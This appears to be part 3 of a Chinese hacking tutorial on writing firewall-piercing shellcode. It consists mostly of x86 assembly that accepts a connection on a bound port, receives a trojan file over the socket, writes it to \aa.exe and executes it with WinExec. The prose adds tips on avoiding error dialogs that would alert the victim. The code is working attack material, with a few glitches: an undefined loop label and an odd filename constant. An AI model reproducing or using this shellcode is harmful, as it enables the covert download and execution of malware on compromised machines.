编写和应用穿墙Shellcode(3)

http://www.itjxue.com  2015-07-17 21:29  来源:未知  点击次数: 

  端口绑定成功之后,就是等待客户端的连接了。一旦检测到客户端连接过来,Shellcode就向客户端发送确认信息。这里本来还应该检查连接发起者身份是否就是攻击者,只是我把这一步省略了。发送了确认信息之后,就一直接收客户端发送的木马文件数据,存放到文件\aa.exe中,文件接收完毕后执行该文件。相关的汇编代码如下:

  mov [ebp + 24h], eax //保存客户端socket

  mov dword ptr[esi + 440], '!!ko'

  mov byte ptr[esi + 443], 0

  push 0

  push 4

  lea eax, [esi + 440]

  push eax

  push [ebp + 24h]

  call [ebp + 58h] //send "ok!"

  mov dword ptr[esi + 444], 0x2E61615C

  mov dword ptr[esi + 448], 0x0011657865

  push 0x0180

  push 0x8301

  lea eax, [esi + 444]

  push eax

  call [ebp + 60h] //_open创建文件

  mov dword ptr[ebp + 20h], eax //保存文件句柄

  mov dword ptr[ebp + 1ch], 0x00027031 //保存输入的文件大小

  mov dword ptr[ebp + 18h], 0 //保存已经接收的文件大小

  push 0

  push 512 //每次接收512字节文件数据

  lea eax, [esi + 500]

  push eax

  push [ebp + 24h]

  call [ebp + 5ch] //recv

  cmp eax, 0

  jle end //if eax <= 0 则接收失败退出

  add [ebp + 18h], eax //已接收文件大小

  push eax

  lea eax, [esi + 500]

  push eax

  push [ebp + 20h]

  call [ebp + 64h]//_write

  mov byte ptr[esi + 480], 'y'

  lea eax, [esi + 480]

  push 0

  push 1

  push eax

  push [ebp + 24h]

  call [ebp + 58h] //send 返回字节'y'

  cmp eax, 0

  jle end //失败退出

  mov eax, dword ptr[ebp + 18h]

  cmp eax, dword ptr[ebp + 1ch]

  jl j1

  push [ebp + 20h]

  call [ebp + 68h] //_close,传送完毕就关文件句柄

  push 0

  lea eax, [esi + 444]

  push eax

  call [ebp + 3ch] //WindowsExec 执行木马文件

  end:

  文件传输过程是需要攻击客户攻击程序与Shellcode严密配合的,每接收一组数据后,都发送一个确认信息’y’,保障通信的流畅性。此外,执行文件我是调用函数WindowsExec而非_execl,原因是_execl执行之后函数是不返回的,可能造成原服务进程发生异常而弹出骇人的错误对话框。

(责任编辑:IT教学网)

更多

推荐编程综合文章